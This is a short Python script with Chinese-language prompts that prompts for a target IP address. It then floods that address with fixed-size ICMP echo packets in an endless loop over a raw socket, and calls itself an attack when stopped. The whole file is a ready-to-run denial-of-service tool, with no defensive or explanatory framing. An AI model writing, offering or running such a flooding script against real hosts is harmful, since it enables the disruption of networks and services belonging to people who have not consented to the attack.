import os
import sys
import socket
import random

# Set the target IP address and packet size
target = input("输入目标IP地址: ")
packet_size = 1024

# Send ICMP packets
def icmp_flood(target, packet_size):
    try:
        while True:
            # Construct the ICMP packet
            icmp_packet = b'\x08\x00\x7d\x4b' + (packet_size - 4) * b'\x41'
            # Send the packet
            sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
            sock.sendto(icmp_packet, (target, 0))
            # Print a message indicating packet sent
            print("将ICMP数据包发送到 %s, packet size: %d" % (target, packet_size))
    except KeyboardInterrupt:
        print("攻击停止.")

# Main function
if __name__ == "__main__":
    icmp_flood(target, packet_size)